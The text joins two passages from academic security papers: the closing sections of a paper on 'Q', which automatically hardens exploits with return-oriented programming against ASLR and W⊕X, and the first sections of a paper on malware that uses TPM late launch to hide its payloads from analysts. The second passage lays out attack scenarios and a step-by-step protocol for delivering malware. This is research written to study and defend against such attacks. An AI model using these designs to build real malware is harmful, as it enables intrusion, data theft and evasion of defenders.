took to run, and report if Q produced hardened exploits that call 1) a linked function, and 2) system or WinExec.

striving for Turing-completeness.

9 Related Work

Return Oriented Programming Krahmer was the first
to propose using borrowed code chunks [25] from the pro-
gram text to perform meaningful actions. Later, Shacham
showed in his seminal paper [41] on ROP that a set of
Turing complete gadgets can be created using the pro-
gram text of libc. Shacham developed an algorithm that
put instruction sequences into trie form to help a human
manually select useful instruction sequences.

Since then, several researchers have investigated how
to more fully automate ROP [16, 21, 38]. Dullien and
Kornau [16, 24] automatically found gadgets in mobile
support libraries (on order of 1,000KB), and Roemer [38]
demonstrated it was possible to automatically discover
gadgets in libc (1,300KB). Hund [21] used gadgets
from ntoskrnl.exe (3,700KB) and win32k.sys
(2,200KB). In contrast, our techniques often only have
20KB of binary code to create gadgets from, because
generally only small code modules are unrandomized in
user-mode exploitation contexts. Previous work focusing
on such small code bases was mostly or entirely manual;
for instance, Checkoway, et al. manually crafted a Turing
complete set of gadgets from 16KB of Z80 BIOS [9].

Automatic Exploitation Our exploit hardening system
(Section 5) is related to existing automatic exploitation
research [2, 5, 20, 26]. In automatic exploitation, the goal
is to automatically find an exploit for a bug when given
some starting information (such as a patch [5], guiding
input [20, 26], or program precondition [2]). Some auto-
matic exploitation research focuses on creating an input
that triggers a particular vulnerability [5, 18, 26], but does

not focus on control flow exploitation, which is one of the
focuses of our work. Our techniques can use the inputs
produced by these projects as an input exploit, and harden
them so that they bypass W⊕X and ASLR.

We are only aware of one other project that considers
creating an exploit given another exploit [20]; in this case
the input exploit only causes a crash. Our work uses
symbolic execution to reason about other inputs that take
the same path as the input exploit. In contrast, Heelan [20]
tracks data dependencies between the desired payload
bytes and the input bytes, but does not ensure that control
flow will stay the same and preserve the observed data
dependencies. As a result, his approach is heuristic in
nature, but is likely to be faster than ours.

Related Attacks Other researchers have previously
used simple ROP gadgets in the .text section of bi-
naries to calculate the address of functions in libc [39].
Unfortunately, this is insufficient to make arbitrary func-
tion calls when ASLR is enabled, because many functions
require pointers to data. Recall from Section 2 that all
modern operating systems except for Mac OS X random-
ize the stack and heap, thus making it difficult for an
attacker to introduce argument data and know a pointer to
its address. QooL (Section 4.3.1) allows target programs
to write payloads to known addresses, typically in the
.data segment, which eliminates this problem.

A recent attack developed concurrently with Q [27] can
also write data to known constant memory locations, and
thus can also make arbitrary function calls in the W⊕X
and ASLR setting. This attack uses repeated strcpy
return-to-libc calls to copy data from the binary itself to
a specified location. In contrast, our attack uses ROP
gadgets discovered by Q.

There are specialized attacks against W⊕X and ASLR
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that are only applicable inside of a browser, such as JIT
spraying [4, 43]. The downside is that they are not appli-
cable to all programs.

Related Defenses The most natural way of defeating
ROP is to randomize all executable code. For instance, we
are not able to deterministically attack position indepen-
dent executables in Linux, because we do not know where
any instruction sequences will be in memory. Operating
systems have chosen not to randomize all code in the past
because of performance and compatibility issues; these
reasons should now be reevaluated considering the new
evidence that allowing even small amounts of unrandom-
ized code can enable an attacker to use ROP payloads.

Other defenses against ROP exist. One defense is to
dynamically instrument running programs and look for
sequences of instructions that contain returns with few
instructions spaced between [10, 12]. The assumption
is that normal code will generally execute non-trivial
amounts of code in between ret instructions, whereas
ROP code will not.

A similar defense is to ensure that the call chain of a
program respects the stack semantics, i.e., that a ret will
only transfer control to a program location that previously
executed a call instruction. Such techniques [13, 37]
are implemented using a shadow stack that is maintained
outside of normal memory space. Both of these defenses
make the assumption that ROP must be performed using
the ret instruction.

Unfortunately for defenders, researchers [8] have re-
cently shown that it is possible to perform ROP on x86
without using ret instructions at all, which is enough to
bypass these schemes without modifications. However,
the proof of concept techniques required access to large
libraries, which are randomized in modern operating sys-
tems. It remains an open question whether such attacks
are possible in modern user-mode exploitation contexts,
when little unrandomized code is available.

10 Conclusion

We developed return oriented programming (ROP) tech-
niques that work on small, unrandomized code bases as
found in modern systems. We demonstrated that it is pos-
sible to synthesize ROP payloads for 80% of programs
larger than 20KB, implying that even a small amount of
unrandomized code is harmful. We also built an end-
to-end exploit hardening system, Q, that reads as input
an exploit that does not bypass defenses, and automati-
cally hardens it to one that bypasses ASLR and W⊕X.
Our techniques and experiments demonstrate that current

ASLR and W⊕X implementations, which allow small
amounts of code to be unrandomized, continue to allow
ROP attacks. Operating system designers should weigh
the dangers of such attacks against the performance and
compatibility penalties imposed by randomizing all code
by default.
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Abstract
The Trusted Platform Module (TPM) is commonly
thought of as hardware that can increase platform secu-
rity. However, it can also be used for malicious pur-
poses. The TPM, along with other hardware, can imple-
ment a cloaked computation, whose memory state cannot
be observed by any other software, including the operat-
ing system and hypervisor. We show that malware can
use cloaked computations to hide essential secrets (like
the target of an attack) from a malware analyst.

We describe and implement a protocol that establishes
an encryption key under control of the TPM that can only
be used by a specific infection program. An infected host
then proves the legitimacy of this key to a remote mal-
ware distribution platform, and receives and executes an
encrypted payload in a way that prevents software visibil-
ity of the decrypted payload. We detail how malware can
benefit from cloaked computations and discuss defenses
against our protocol. Hardening legitimate uses of the
TPM against attack improves the resilience of our mal-
ware, creating a Catch-22 for secure computing technol-
ogy.

1 Introduction
The Trusted Platform Module (TPM) has become a com-
mon hardware feature, with 350 million deployed com-
puters that have TPM hardware [14]. The purpose of TPM
hardware, and the software that supports it, is to increase
the security of computer systems. However, this paper ex-
amines the question of how a malware author can use the
TPM to build better malware, specifically malware that
cannot be analyzed by white hat researchers.

Trusted computing technology [42] adds computer
hardware to provide security primitives independent from
other system functionality. The hardware provides cer-
tain low-level security guarantees directly. For example,
it guarantees that only it can read and write certain data.
Trusted software uses these low-level, hardware-enforced
properties to build powerful guarantees for programmers.

The TPM, as developed by the Trusted Computing
Group (TCG), is one of the more popular implementations
of trusted computing technology. The TPM has seen sig-
nificant use in industry and government; the TPM is used

in Microsoft’s popular BitLocker drive encryption soft-
ware [7] and the United States Department of Defense has
required the TPM as a solution for securing data on lap-
tops [4]. TPMs are regularly included on desktop, laptop,
and server-class computers from a number of manufac-
turers. The wide dissemination of TPM functionality is
potentially a boon for computer security, but this paper
examines the potential of the TPM for malware authors (a
first to our knowledge).

A malware writer can use the TPM for implementing
cloaked computations which, combined with a protocol
described in this paper, impede malware analysis. The
TPM is used with “late launch” processor mechanisms
(Intel’s Trusted Execution Technology [12, 8], abbrevi-
ated TXT, and AMD’s Secure Startup mechanism [10])
that ensure uninterrupted execution of secure binaries.
Late launch is a hardware-enforced secure environment
where code runs without any other concurrently executing
software, including the operating system. We demonstrate
a protocol where a malware author uses cloaked com-
putations to completely prevent certain malware func-
tions from being analyzed and understood by any cur-
rently available methods. TPM functionality ensures that
a cloaked program will remain encrypted until it is run-
ning directly on hardware. Assuming certificates for hard-
ware TPMs identify these TPMs as hardware and cannot
be forged, our malware will refuse to execute in a virtual-
ized environment.

Timely and accurate analysis is critical to the ability
to stop widespread effects of malware. Honeypots are
constantly collecting malware and researchers use cre-
ative combinations of static analysis, dynamic emulation
and virtualization to reverse engineer malware behavior
[47, 30, 19, 24, 35, 36]. This reverse engineering is often
crucial to defeating the malware. For example, once the
domain name generation algorithm used for propagating
the Conficker worm was determined, the Conficker ca-
bal blocked the registration of those DNS names [45, 43],
thereby defeating the worm.

While the idea of using the TPM to cloak malware com-
putation is conceptually straightforward, existing TPM
protocols do not suffice and must be adapted to the task
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of malware distribution. We clarify the capabilities of
and countermeasures for this threat. Cloaking does not
make malware all-powerful, and engineering malware to
take advantage of a cloaked environment is a design chal-
lenge. A cloaked computation runs without OS support,
so it cannot make a system call or easily use devices like
a NIC for network communication. This paper also dis-
cusses best practices for TPM-enabled systems that can
prevent the class of attacks we present.

This paper makes the following contributions.
• It specifies a protocol that runs on current TPM im-

plementations that allows a malware developer to ex-
ecute code in an environment that is guaranteed to be
not externally observable, e.g., by a malware analyst.
Our protocol adapts TPM-based remote attestation
for use by the malware distribution platform.

• It presents the model of cloaked execution and mea-
sures the implementation of a malware distribution
protocol that uses the TPM to cloak its computation.

• It provides several real-world use cases for TPM-
based malware cloaking, and describes how to adapt
malware to use TPM cloaking for those cases. These
include: worm command and control, selective data
exfiltration, and a DDoS timebomb.

• It discusses various defenses against our attacks and
their tradeoffs with TPM security and usability.

Organization In Section 2 we describe our threat model
and different attack scenarios for TPM cloaked malware.
Then in Section 3 we give TPM background information.
We then describe and analyze a general TPM cloaked mal-
ware attack in Section 4 and follow with a description of
a prototype implementation in Section 5.

We then turn to discussing future defenses against such
attacks in Section 6; describe related work in Section 7
and finally conclude in Section 8.

2 Threat Model and Attack Scenarios
We begin by describing our threat model for an attacker
that wishes to use the TPM for cloaked computations.
Then we describe multiple attack scenarios that can lever-
age TPM cloaked computations.
2.1 Threat model and goals
We consider an attacker who wishes to infect machines
with malware. His goal is to make a portion of this mal-
ware unobservable to any analyst (e.g., white-hat security
researcher, or IT professional) except for its input and out-
put behavior.

We assume an attacker will have the following capabil-
ities on the compromised machine.
• Kernel-level compromise. We assume our attack

has full access to the OS address space. Late launch
computation is privileged and can only be started by
code that runs at the OS privilege level. Exploits
that result in kernel-level privileges for commodity

OSes are common enough to be a significant con-
cern. For example, in September and October 2010,
there were 13 remote code execution vulnerabilities
and 2 privilege escalation vulnerabilities that could
provide a kernel-level exploit for Microsoft’s Win-
dows 7 [13]. Kernel-level exploits for Linux are re-
ported more rarely, but do exist, e.g., the recent Xorg
memory management vulnerability [54]. There are
many examples of malware using kernel vulnerabil-
ities [34, 3].

• Authorization for TPM capabilities. We further as-
sume our attack can authorize the TPM commands
in our protocol. TPM commands are authorized us-
ing AuthData, which are 160-bit secrets that will
be described further in Section 3. The difficulty
of obtaining AuthData depends on how TPMs are
used in practice. To our knowledge, the TCG does
not provide concrete practices for protecting Auth-
Data. Most TPM commands do not require Auth-
Data to be sent on wire, even in encrypted form.
However, knowing AuthData is necessary for certain
common TPM operations like using TPM-controlled
encryption keys. We discuss acquiring the AuthData
needed by the attack in Sections 3.6 and 4.

An analyst will see all non-blackbox behavior of the
attacker’s cloaked computation. In our model, the analyst
is allowed full access to systems that run our malware.
We assume that all network traffic is visible, and that the
analyst will attempt to exploit any attack protocol weak-
nesses. In particular, an analyst might run a honeypot that
is intended to be infected so that he can observe and ana-
lyze the malware. A honeypot may use a virtual machine
(including those that use hardware support for virtualiza-
tion like VMWare Workstation and KVM [33]), and may
include any combination of emulated and real hardware,
including software-based TPM emulators [50] and VM
interfaces to hardware TPMs like that of vTPMs [17].

We assume the analyst is neither able to mount phys-
ical attacks on the TPM nor is able to compromise the
TPM public key infrastructure. (We revisit these as-
sumptions when discussing possible defenses in Sec-
tion 6.) While there are known attacks against Intel’s
late launch environment [55] and physical attacks against
the TPM [51, 32], manufacturers are working to eliminate
such attacks. Manufacturers have significant incentive to
defeat these attacks because they compromise the TPM’s
guarantee that is currently its most commercially impor-
tant: preventing data leakage from laptop theft.

Our attack may be detectable because it increases TPM
use. Nonetheless, frequent TPM use might be the norm
for some systems, or users and monitoring tools may sim-
ply be unaware that increased TPM use is a concern.

A cloaked computation is limited to a computational
kernel. It cannot access OS services or make a system
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call. Any functional malware must have extensive sup-
port code beyond the cloaked computation. The support
code performs tasks like communication over the network
or access to files. The attacker must design malware to
split functionality into cloaked and observable pieces. Ar-
guments can be passed to the computational kernel via
memory, and may be encrypted or signed off-platform for
privacy or integrity.

2.2 Attack Scenarios

We now describe various attack scenarios that leverage
TPM cloaking.

2.2.1 Worm command and control

We consider a modification of the Conficker B worm. The
worm has an infection stage, where a host is exploited and
downloads command and control code. Then the infection
code runs a rendezvous protocol to download and execute
signed binary updates. Engineers halted the propagation
of Conficker B by reverse engineering the rendezvous pro-
tocol and preventing the registration of domain names that
Conficker was going to generate.
Defeating Conficker requires learning in advance the

rendezvous domain names it will generate. The sequence
of domain names can be determined in two ways; first
by directly analyzing the domain name generation imple-
mentation or second by running the algorithm with inputs
that will generate future domain names. Cloaked compu-
tation prevents the static analysis and dynamic emulation
required to reverse engineer binary code, eliminating the
first option of analyzing the implementation.
Conficker uses as input to its domain name generation

algorithm the current day (in UTC). It establishes the cur-
rent day by fetching data from a variety of web sites.
White hat researchers ran Conficker with fake replies to
these http requests, tricking the virus into believing it was
executing in the future.

However, malware can obtain timestamps securely at
day-level granularity. Package repositories for common
Linux distributions provide descriptions of repository
contents that are signed, include the date, and are updated
daily. (See http://us.archive.ubuntu.com/
ubuntu/dists/lucid-updates/Release for
Ubuntu Linux, which has an accompanying “.gpg”
signature file.) This data is mirrored at many locations
worldwide and is critical for the integrity of package
distribution1, so taking it offline or forging timestamps
would be both difficult and a security risk.
Conficker is not alone in its use of domain name gener-

ation for rendezvous points. The Mebroot rootkit [31] and
Kraken botnet [5] both use similar techniques to contact
their command and control servers.

1Although individual packages are signed, without signed release
metadata a user may not know whether there is a pending update for
a package.

Using cloaked computations for malware command
and control does not ipso facto make malware more dan-
gerous. Cloaked computations must be used as part of a
careful protocol in order to be effective.

2.2.2 Selective data exfiltration

An infection program can exfiltrate private financial data
or corporate secrets. To minimize the probability of detec-
tion, the program rate limits its exfiltrated data. The pro-
gram searches and prioritizes data inside a cloaked com-
putation, perhaps using a set of regular expressions.

Cloaked computation can obscure valuable clues about
the origin and motivation of the infection authors. The
regular expressions might target information about a par-
ticular competitor or project. If white hats can sample the
exfiltrated data, this would also provide clues; however, it
would give less direct evidence than a set of search terms,
and output could be encrypted.
Stuxnet and Aurora are recent high profile attacks that

exfiltrate data [38]. Stuxnet seeks out specific industrial
systems and sends information about the infected OS and
domain information to one of two command servers [26].
A program without cloaked computation could use cryp-
tographic techniques [59, 18, 28] to keep search criteria
secret while being observed in memory, but their perfor-
mance currently makes them impractical.

2.2.3 Distributed denial-of-service timebomb

A common malware objective is to attack a target at a cer-
tain point in time. Keeping the time and target secret until
the attack prevents countermeasures to reduce the attack’s
impact. A cloaked computation can securely check the
day (as above), and only make the target known on the
launch day.

Malware analysis has often been important for stop-
ping distributed denial-of-service (DDoS) attacks. One
prominent example is MyDoom A. MyDoom A was first
identified on January 26, 2004 [2]. The worm caused in-
fected computers to perform a DDoS on www.sco.com
on February 1, 2004, less than a week after the virus was
first classified. However, the worm was an easy target for
analysts because its target was in the binary obscured only
by ROT-13 [1]. Since the target was identified prior to
when the attack was scheduled, SCO was able to remove
its domain name from DNS before a DDoS occurred [57].

The Storm worm’s targeting of www.
microsoft.com [46], Blaster’s targeting of
windowsupdate.com [34], and Code Red’s tar-
geting of www.whitehouse.gov [22] are other
prominent examples of DDoS timebombs whose effects
were lessened by learning the target in advance of the
attack. If timebomb logic is contained in cloaked code,
then it increases the difficulty of detecting the time and
target of an upcoming attack. Since the target is stored
only in encrypted form locally on infected machines, the
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infected machines do not have to communicate over the
network to receive the target at the time of the attack.

Not every machine participating in a DDoS coordinated
by cloaked computation must have a TPM. A one-million
machine botnet could be coordinated by one-thousand
machines with TPMs (to pick arbitrary numbers). The
TPM-containing machines would repeatedly execute a
cloaked computation, as above, to determine when to be-
gin an attack. These machines would send the target to
the rest when they detect it is time to begin the DDoS. In
the example, all million machines must receive the DDoS
target, but the topology of communication is specialized
to the DDoS task and therefore is more difficult to filter
and less amenable to traffic analysis than a generic peer-
to-peer system.

3 TPM background
This section describes the TPM hardware and support
software in sufficient detail to understand how it can be
used to make malware more difficult to analyze.

3.1 TPM hardware

TPMs are usually found in x86 PCs as small integrated
circuits on motherboards that connect to the low pin
count (LPC) bus and ultimately the southbridge of the PC
chipset. Each TPM contains an RSA (public-key) cryp-
tography unit and platform configuration registers (PCRs)
that maintain cryptographic hashes (called measurements
by the TCG) of code and data that has run on the platform.

The goal of the TPM is to provide security-critical
functions like secure storage and attestation of platform
state and identity. Each TPM is shipped with a public en-
cryption key pair, called the Endorsement Key (EK), that
is accompanied by a certificate from the manufacturer.
This key is used for critical TPM management tasks, like
“taking ownership” of the TPM, which is a form of ini-
tialization. During initialization the TPM creates a secret,
tpmProof , that is used to protect keypairs it creates.
The TPM 1.2 specification requires PC TPMs to have

at least 24 PCRs. PCRs 0–7 measure core system com-
ponents like BIOS code, PCRs 8–15 are OS defined, and
PCRs 16–23 are used by the TPM’s late launch mecha-
nism, where sensitive software runs in complete hardware
isolation (no other program, including the OS, may run
concurrently unless specifically allowed by the software).
PCRs cannot be set directly, they can only be extended
with new values, which sets a PCR so that it depends on
its previous value and the extending value in a way that is
not easily reversible. PCR state can establish what soft-
ware has been run on the machine since boot, including
the BIOS, hypervisor and operating system.

3.2 Managing and protecting TPM storage

The TPM was designed with very little persistent storage
to reduce cost. The PC TPM specification only mandates

Concatenation of A and B A ||B

Public/private keypair for
asymmetric encryption
named name

(PKname, SKname)

≡ (PK,SK)name

Encryption of data with a public
key

Enc(PK, data)

Signing of data with a signing key Sign(SK, data)

Symmetric key K (no P or S at front)
Symmetric encryption of data EncSym(K, data)

One-way hash (SHA-1) of data H(data)

Table 1: Notation for TPM data and computations.

1,280 bytes of non-volatile RAM (NVRAM), so most data
that the TPM uses must be stored elsewhere, like in main
memory or on disk. When we refer to an object as stored
in the TPM, we mean an object stored externally to the
TPM that is encrypted with a key managed by the TPM.
By contrast, data stored in locations physically internal to
the TPM is stored internal to the TPM.

AuthData controls TPM capabilities, which are the
ability to read, write, and use objects stored in the TPM
and execute TPM commands. AuthData is a 160-bit se-
cret, and knowledge of the AuthData for a particular capa-
bility is demonstrated by using it as a key for calculating a
hash-based message authentication code (HMAC) of the
input arguments to the TPM command. 2

Public signature and encryption key pairs created by a
TPM are stored as key blobs only usable with a particular
TPM. The contents of a key blob are shown in Figure 2. A
hash of the public portion of a key blob is stored in the pri-
vate portion, along with tpmProof (mentioned above);
tpmProof is an AuthData value randomly generated by
the TPM and stored internally to the TPM when someone
takes ownership. It protects the key blob from forgery by
adversaries and even the TPM manufacturer.3

In addition, a TPM user can use the PCRs to restrict use
of TPM-generated keypairs to particular pieces of soft-
ware that are identified via a hash of their code and initial
data. For example, the TPM can configure a key blob so
that it can only be used when the PCRs have certain values
(and therefore only when certain software is running).4

2Since AuthData is used as an HMAC key, it does not need to be
present on the same machine as the TPM for it to be used. For exam-
ple, a remote administrator might hold certain AuthData and use this
to HMAC input arguments and then send these across a network to the
machine containing the TPM. However, AuthData does need to be in
memory (and encrypted) when the secret is first established for a TPM
capability as part of a TPM initialization protocol. We investigate fur-
ther the implications of this nuance in our discussions of defenses in
Section 6.

3Migratable keys are handled somewhat differently, but they are be-
yond the scope of this paper.

4Restricting a TPM-generated key to use with certain PCR values is
not the same as the TPM Seal command found in related literature. The
two are similar, but the former places restrictions on a key’s use, while
the later places restrictions on the decryption of a piece of data (which
could be a key blob).
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Figure 1: The overall flow of the attack is 1) Infecting a system with local malware capable of kernel-level exploitation to coordinate
the attack 2) Establishing a legitimate TPM-generated key usable only by the Infection Payload Loader in late launch via a multistep
protocol with a Malware Distribution Platform 3) Delivering a payload that can be decrypted using the TPM-generated key 4) Using
a late launch environment to decrypt the payload with the TPM-generated key, and running it with inputs passed into memory by
local malware 5) Retrieving output from payload, potentially repeating step 4 with new inputs. Boxes with “TPM” indicate parts of
the protocol that use the TPM.

Blob((PK, SK)ex) ≡ PubBlob((PK, SK)ex) ||Enc(PKparent,PrivBlob((PK, SK)ex))

PubBlob((PK, SK)ex) ≡ PKex || PCR values
PrivBlob((PK, SK)ex) ≡ SKex ||H(PubBlob((PK, SK)ex) || tpmProof

Figure 2: Contents of TPM key blob for an example public/private key pair named ex that is stored in the key hierarchy under a key
named parent. For our purposes the parent key of most key blobs is the SRK. (Note that the PCR values themselves are not really
stored in the key blob. Rather the blob contains a bitmask of the PCRs whose values must be verified and a digest of the PCR values.)

TPM key storage is a key hierarchy: a single-rooted
tree whose root is the Storage Root Key (SRK), and is
created upon the take ownership operation described be-
low. The private part of the SRK is stored internal to
the TPM and never present in main memory, even in en-
crypted form. Since the public part of the SRK encrypts
the private part of descendant keys (and so on), all keys in
the hierarchy are described as “stored in the TPM,” even
though all of them, except the SRK, are stored in main
memory. Using the private part of any key in the hierar-
chy requires using the TPM to access the private SRK to
decrypt private keys while descending the hierarchy.

It is impossible to use private keys for any of the key-
pairs stored in the TPM apart from using TPM capabil-
ities: obtaining the private key for one key would entail
decrypting the private portion of a key blob, which in turn
requires the private key of the parent, and so on, up to the
SRK, which is special in that its private key is never stored
externally to the TPM (even in encrypted form). A TPM
key hierarchy is illustrated in Figure 3.

3.3 Initializing the TPM

To begin using a TPM, the user (or administrator) must
first take ownership of it. Taking ownership of the TPM
establishes three important AuthData values: the owner

AuthData value, which is needed to set TPM policy, the
SRK AuthData value, which is needed to use the SRK,
and tpmProof . tpmProof is generated internal to the
TPM and stored in NVRAM. It is never present in unen-
crypted form outside the TPM.

While it is easy for a professional administrator to
take ownership of a TPM securely, taking ownership of
a TPM is a security critical operation that is exposed in
a very unfriendly way to average users. For example,
Microsoft’s BitLocker full-disk encryption software uses
the TPM. When a user initializes BitLocker, it reboots the
machine into a BIOS-level prompt where the user is pre-
sented cryptic messages about TPM initialization. Bit-
Locker performs the initial ownership of the TPM, and it
acquires privilege to do so with TPM mechanisms for as-
serting physical presence at the platform via the BIOS. An
inexperienced user could probably be convinced to agree
to allow assertion of physical presence by malware similar
to how rogue programs convince users to install malicious
software and input their credit card numbers [44]. The
function of the TPM is complicated and flexible, making
a simple explanation of it for an average user a real chal-
lenge.

Furthermore, malware could also gain use of phys-
ical presence controls in BIOS by attacks that modify
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Figure 3: The part of the TPM key hierarchy relevant to our
attack. The TPM box illustrates keying material stored inter-
nal to the TPM, which is only the endorsement key (EK) and
storage root key (SRK). Part (a) shows the conceptual key hi-
erarchy, while part (b) shows how the secret keys of children
are encrypted by the public keys of their parents so keys can be
safely stored in memory. More detail on key formats is found in
Figure 2.

the BIOS itself [48]. Recent work has even demon-
strated attacks against BIOS update mechanisms that re-
quire signed updates [56].

3.4 Platform identity
TPMs provide software attestation, a proof of what soft-
ware is running on a platform when the TPM is invoked.
The proof is given by a certificate for the current PCR
values, which contain hashes of the initial state of all soft-
ware run on the machine. This certificate proves to an-
other party that a TPM-including platform is running par-
ticular software. The receiver must be able to verify that
the certificate comes from a legitimate TPM, or the quoted
measurements or other attestations are meaningless.

A user desiring privacy cannot directly use her plat-
form’s EK for attestation. (EKs are linked to specific plat-
forms, and additionally multiple EK uses can be corre-
lated.) Instead, she can generate attestation identity keys
(AIKs) that serve as proxies for the EK. An AIK can sign
PCR contents to attest to platform state. However, some-
thing must associate the AIK with the EK.
A trusted privacy certificate authority (Privacy CA)

provides certificates to third parties that an AIK corre-
sponds to an EK of a legitimate TPM. While prototype
Privacy CA code exists [27], Privacy CAs appear to be
unused in practice. In our attack, the malware distributor
acts as a Privacy CA and only trusts AIKs that it certifies.

We emphasize that our proposed attack does not require
or benefit from the anonymity guarantees provided by a
Privacy CA. However, the TPM does not permit a user to
directly sign an arbitrary TPM-generated public key with
the EK, so our attack must use an intermediate AIK.

3.5 Using the TPM
Typical uses of the TPM are to manipulate the key hier-
archy, to obtain signed certificates of PCR contents or of

authenticity of TPM data, and to modify PCRs to describe
platform state as it changes. Keys are created in the key
hierarchy by “loading” a parent key and commanding the
TPM to generate a key below that parent, resulting in a
new key blob. Loading a key entails passing a key blob to
the TPM to obtain a key handle, which is an integer index
into the currently loaded keys. Only loaded keys can be
used for further TPM commands. Loading a key requires
loading all keys above it in the hierarchy, so loading any
key in the key hierarchy requires loading the SRK.
The TPM can produce signed certificates of key authen-

ticity. To do so, a user specifies a certifying key, and the
TPM produces a hash of the public key for the key to be
certified, along with a hash of a bitmask describing the se-
lected PCRs and those PCR values, and signs both hashes
with the selected key.
PCRs can be modified by the TPM as platform state

changes. They cannot be set directly, and are instead mod-
ified by extension. A PCR with value PCR extended by
a 160-bit value val is set to value Extend(PCR, val) ≡
H(PCR || val). Late launch extends the PCRs with the
hash of the state of the program run in the late launch en-
vironment. Thus the TPM can restrict access to keys to a
particular program. Our malware protocol uses this abil-
ity to prevent analyst use of a payload decryption key.

3.6 TPM functionality evolving and best practices
unknown

Despite the widespread availability of trusted computing
technology as embodied by the TPM, its implications are
not well understood. The specification for the TPM and
supporting software is complicated; version 1.2 of the
TPM specification for the PC/BIOS platform with accom-
panying TCG Software Stack is over 1,500 pages [52].
Additionally, there are few guidelines for proper use of
its extensive feature set. It is quite believable that such
a complicated mechanism has unintended consequences
that undermine its security goals. In this paper, we pro-
pose such a mechanism: that the TPM can be used as a
means to thwart analysis of malware.

Key hierarchy The lack of guidance on the usage of
TPM capabilities makes it difficult to determine what in-
formation an attacker might reasonably acquire. For ex-
ample, the key hierarchy has a single root. Therefore, dif-
ferent users must share at least one key, and every use of
a TPM key requires loading the SRK. Loading the SRK
requires SRK AuthData, and thus the SRK AuthData is
likely well-known, making it possible for users to imper-
sonate the TPM, as others have previously indicated [21].

EK certificates As another example of capabilities in
flux, EK certificates critical to identifying TPMs as legiti-
mate are not always present, and it is not always clear how
to verify those that are. TPM manufacturers are moving
toward certifying TPMs as legitimate by including certifi-
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cates for EKs in TPM NVRAM. Infineon gives the most
detail on their EK certification policy, in which the cer-
tificate chain extends back to a new VeriSign TPM root
Certificate Authority [11]. ST Microelectronics supplies
TPMs used in many workstations from Dell. They state
that their TPMs from 2010 onward contain certificates [9].
While no certificates were present on our older machines,
we did find certificates for our newer Dell machines and
manually verified the legitimacy of the EK certificate for
one of our TPMs (which we describe further in Section 5).
Protecting AuthData Many uses of the TPM allow Au-
thData to be snooped if not used carefully. For example,
standard use of TPM tools with TrouSerS prompts the
user to enter passwords at the keyboard to use TPM ca-
pabilities. These passwords can be captured by a keylog-
ger if the system is compromised. Thus, despite that TPM
commands may not require AuthData to appear, entry of
this data into the system for usage can be insecure.

4 Malware using cloaked computations
We now describe an architecture and protocol for launch-
ing a TPM-cloaked attack.

Our protocol runs between an Infection Program,
which is malware on the attacked host, and a Malware
Distribution Platform, which is software executed on
hardware that is remote to the attacked host. The goal
of the protocol is for the Infection Program to generate a
key. The Infection Program attests to the Malware Distri-
bution Platform that TPM-based protection ensures only it
can access data encrypted with the key. The Malware Dis-
tribution Platform verifies the attestation, and then sends
an encrypted program to the Infection Program. The In-
fection Program decrypts and executes this payload. This
protocol enables long-lived and pernicious malware, for
example, turning a computer into a botnet member. The
Infection Program can suspend the OS (and all other soft-
ware) through use of processor late launch capabilities to
ensure unobservability when necessary, like when the ma-
licious payload is decrypted and executing.
4.1 Late launch for secure execution
The protocol uses late launch to suspend the OS to allow
decryption and execution of the malicious payload with-
out observation by an analyst. Late launch creates an exe-
cution environment where it is possible to keep code and
data secret from the OS.

Late launch transfers control to a designated block of
user-supplied code in memory and leaves a hash of that
code in TPM PCRs. Specifically, with Intel’s Trusted Ex-
ecution Technology, a user configures data structures to
describe the Measured Launch Environment (MLE), the
program to be run (which resides completely in mem-
ory). She then uses the GETSEC[SENTER] instruction
to transfer control to chipset-specific code, signed by In-
tel, called SINIT that performs pre-MLE setup such as

Pack(data, extra,PK):

1. Generate symmetric key K

2. Asymmetric encrypt K to form Enc(PK,K || extra)
3. Symmetric encrypt data to form EncSym(K, data)
4. Output EncSym(K, data) ||Enc(PK,K || extra)

Unpack(EncSym(K, data) ||Enc(PK,K || extra), SK):

1. Asymmetric decrypt Enc(PK,K || extra) with SK to
obtain K and extra

2. Symmetric decrypt EncSym(K, data) with K to obtain
data

3. Output data, extra

Figure 4: Subroutines used in main protocol. extra is needed
for TPM ActivateIdentity, and can be empty (φ). Run-
ning Unpack on the TPM uses TPM Unbind.

ensuring correctness of MLE parameters. The exact func-
tionality of SINIT is not known, as its source code is not
public. SINIT then passes control to the MLE. When the
MLE runs, no software may run on any other processor
and hardware interrupts and DMA transfers are disabled.
To exit, the MLE uses the GETSEC[SEXIT] instruction.

4.2 Malware distribution protocol
The Infection Program first establishes a proof that it is
using a legitimate TPM. It uses the TPM to generate two
keys. One is a “binding key” that the Malware Distribu-
tion Platform will use to encrypt the malicious payload.
The other is an AIK that the TPM will use in the Privacy
CA protocol, where the Malware Distribution Platform
plays the role of the Privacy CA. The Malware Distribu-
tion Platform will accept its own certification that the AIK
is legitimate in a later phase. As stated before, the Privacy
CA protocol enables indirect use of the private EK only
kept by the TPM. A valid private EK cannot be produced
by an analyst; it is generated by a TPM manufacturer and
only accessible to the TPM hardware. This part of the
Infection Program is named “Infection Keygen”.

Our description of the protocol steps will elide lower-
level TPM authorization commands like TPM OIAP and
TPM OSAP that are used to demonstrate knowledge of au-
thorization data and prevent replay attacks on TPM com-
mands.

We use subroutines Pack(data, extra, PK) and
Unpack(data, PK), which use asymmetric keys with in-
termediate symmetric keys. Symmetric keys increase the
efficiency of encryption, are required for certain TPM
commands, and circumvent the limits (due to packing
mechanisms) on the length of asymmetrically encrypted
messages. These subroutines are shown in Figure 4 and
the main protocol is in Figure 5.

4.3 Analyzing the resilience of the protocol
A malware analyst can attempt to subvert the protocol by
tampering with data or introducing keys under her control.
We now analyze the possibilities for subversion.
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Infection Keygen: Generate binding key that Malware Distribution Platform will eventually use to encrypt malicious payload, AIK
that certifies it, and request for Malware Distribution Platform to test AIK legitimacy

1. Create binding keypair (PK,SK)bind under the SRK with
TPM CreateWrapKey(SRK, PCR18 = Extend(0160,H(Infection Payload Loader))) (requires SRK AuthData), store in
memory

2. Create identity key (PK,SK)AIK under SRK in memory as Blob((PK,SK)AIK) with TPM MakeIdentity (requires
owner AuthData)

3. Retrieve EK certificate CEK = PKEK ||Sign(SKmanufacturer,H(PKEK)), which certifies that the TPM with that EK is
legitimate (requires owner AuthData to obtain from NVRAM with TPM NV ReadValue from EK index or needs to be on
disk already)

4. Send Mreq ≡ PubBlob((PK,SK)AIK) ||CEK to Malware Distribution Platform as a request to link AIK and EK

Malware Distribution Platform Certificate Handler: Give Infected Platform credential only decryptable by legitimate TPM

1. Receive Mreq

2. Verify Sign(SKmanufacturer,H(PKEK)) with manufacturer CA public key
